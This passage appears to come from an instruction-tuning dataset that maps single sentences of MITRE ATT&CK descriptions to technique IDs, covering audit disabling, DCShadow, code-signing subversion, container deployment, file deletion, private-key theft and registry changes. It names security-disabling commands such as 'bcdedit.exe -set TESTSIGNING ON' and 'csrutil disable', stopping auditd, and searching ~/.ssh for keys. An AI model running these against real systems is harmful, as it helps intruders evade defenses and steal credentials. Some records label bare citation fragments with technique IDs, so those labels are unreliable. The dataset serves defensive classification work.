operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux admins use the Linux Audit system to track security-relevant information on a system.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux admins use the Linux Audit system to track security-relevant information on a system. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`,  containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`,  containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022) ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service.", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation:", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET Ebury Feb 2014)", "output": "T1562.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET Ebury Feb 2014) ### Response: T1562.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data.", "output": "T1207", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. ### Response: T1207."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DCShadow may be used to create a rogue Domain Controller (DC).", "output": "T1207", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DCShadow may be used to create a rogue Domain Controller (DC). ### Response: T1207."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC.", "output": "T1207", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. ### Response: T1207."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.", "output": "T1207", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. ### Response: T1207."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash.", "output": "T1207", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. ### Response: T1207."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Adsecurity Mimikatz Guide)", "output": "T1207", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Adsecurity Mimikatz Guide) ### Response: T1207."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors).", "output": "T1207", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). ### Response: T1207."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: DCShadow Blog)", "output": "T1207", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: DCShadow Blog) ### Response: T1207."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis.", "output": "T1207", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. ### Response: T1207."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.", "output": "T1207", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. ### Response: T1207."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: DCShadow Blog)", "output": "T1207", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: DCShadow Blog) ### Response: T1207."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert these trust mechanisms.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert these trust mechanisms. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The method adversaries use will depend on the specific mechanism they seek to subvert.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The method adversaries use will depend on the specific mechanism they seek to subvert. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code.", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with.", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system.", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Disable SIP)", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Disable SIP) ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TESTSIGNING Feb 2021)(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TESTSIGNING Feb 2021)(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Disable SIP)(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Disable SIP)(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader)", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Disable SIP)", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Disable SIP) ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system.", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode).", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014) ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader) ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses.", "output": "T1610", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may deploy a container into an environment to facilitate execution or evade defenses. ### Response: T1610."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware.", "output": "T1610", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. ### Response: T1610."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.", "output": "T1610", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. ### Response: T1610."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation:", "output": "T1610", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: ### Response: T1610."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines)", "output": "T1610", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) ### Response: T1610."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)", "output": "T1610", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts) ### Response: T1610."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete files left behind by the actions of their intrusion activity.", "output": "T1107", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete files left behind by the actions of their intrusion activity. ### Response: T1107."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.", "output": "T1107", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. ### Response: T1107."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.", "output": "T1107", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. ### Response: T1107."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.", "output": "T1107", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. ### Response: T1107."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools.", "output": "T1107", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. ### Response: T1107."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro APT Attack Tools)", "output": "T1107", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro APT Attack Tools) ### Response: T1107."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.", "output": "T1145", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. ### Response: T1145."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Public Key Crypto)", "output": "T1145", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Public Key Crypto) ### Response: T1145."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.", "output": "T1145", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. ### Response: T1145."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.", "output": "T1145", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. ### Response: T1145."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.", "output": "T1145", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows. ### Response: T1145."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.", "output": "T1145", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. ### Response: T1145."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.", "output": "T1145", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. ### Response: T1145."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)", "output": "T1145", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia) ### Response: T1145."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution. ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access.", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. ### Response: T1112."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification.", "output": "T1112", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The built-in Windows command-line utility 